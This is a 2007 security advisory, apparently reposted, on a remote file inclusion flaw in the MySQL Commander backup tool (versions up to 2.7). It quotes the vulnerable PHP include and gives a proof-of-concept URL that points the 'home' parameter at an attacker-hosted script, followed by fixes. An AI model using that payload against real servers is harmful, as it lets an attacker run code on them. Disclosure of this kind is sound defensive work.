MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability

Advisory Content :

------------------------------------------------------------------------
-----------------
[ECHO_ADV_73$2007] MySQL Commander <= 2.7 (home) Remote File Inclusion
Vulnerability
------------------------------------------------------------------------
-----------------

Author : M.Hasran Addahroni
Date : March, 13th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv73-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : MySQL Commander
version : <= 2.7
Vendor : http://www.bitesser.de/freeware/script.php?id=1
Description :

A small tool to backup and restore MySQL Tables. Features: backup/restore
of binaries; parametric backup; multiserver; Gzipping; killing of backup
files; german/english; Online help in popup.
This tool makes backups of all the tables in a database. The data will be
stored in textfiles located in the "data"directory. You can backup and
restore the "SQL create table command" and the "content". So you can easily
make copies of your tables. (i.e. copy a hole database with a few clicks).
You will need PHP since version 4.1 and MySQL since Version 3.23

------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at ressourcen/dbopen.php :

----------------ressourcen/dbopen.php-------------------
<?php
include $home."ressourcen/class.systemObject.php";
include $home."ressourcen/class.DatabaseMysql.php";
$db = new DatabaseMysql($config->dbuser[$_SESSION['which_db']],
$config->dbpass[$_SESSION['which_db']],
$config->dbserver[$_SESSION['which_db']]);
$ok = $db->init();

if (!$ok and $db->error and (strlen($config->dbserver[1]) > 0)) {
echo $db->getError();
}

?>
----------------------------------------------------------------

Variables $home is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this
vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~

http://www.target.com/[mysqlcommander_path]/ressourcen/dbopen.php?home=h
ttp://attacker.com/evil?

Solution:
~~~~~~

- Sanitize variable $home on affected file.
- Turn off register_globals

------------------------------------------------------------------------
---

Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n
the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke
(for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid,
kuntua, stev_manado, nofry, x16
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net

------------------------------------------------------------------------
---
Contact:
~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability